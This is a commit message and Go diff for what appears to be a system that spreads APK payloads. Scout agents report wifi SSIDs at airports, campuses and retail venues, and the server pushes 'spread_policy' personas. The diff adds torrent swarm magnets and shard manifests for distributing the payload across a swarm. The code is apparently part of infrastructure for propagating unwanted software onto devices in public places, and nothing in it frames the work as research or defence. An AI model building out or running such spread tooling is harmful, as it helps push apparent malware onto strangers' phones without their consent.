Add scout constellation mode for APK venue persona packs.

Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.

server/internal/api/deploy_plan.go

@@ -314,9 +314,34 @@ func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL s
 	if body.SpreadRouteHint != nil {
 		body.SpreadRouteHint.ErasureLanesEnabled = true
 	}
+	if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(h.erasureShards, plan.ShardToken))); err == nil && manifest != nil {
+		if body.SpreadRouteHint == nil {
+			body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
+		}
+		body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet
+		body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs
+	}
 	return nil
 }
 
+func shardsFromStore(store *erasure.ShardStore, token string) [][]byte {
+	if store == nil || token == "" {
+		return nil
+	}
+	p, ok := store.ParamsFor(token)
+	if !ok {
+		return nil
+	}
+	total := p.TotalShards()
+	out := make([][]byte, total)
+	for i := 0; i < total; i++ {
+		if sh, ok := store.Get(token, i); ok {
+			out[i] = sh
+		}
+	}
+	return out
+}
+
 func (h *DeployPlanHandler) recommendSpreadRoute(req deployPlanRequest, joinLane string) *spreadrouter.SpreadRouteHint {
 	if h.pathTracer == nil {
 		return nil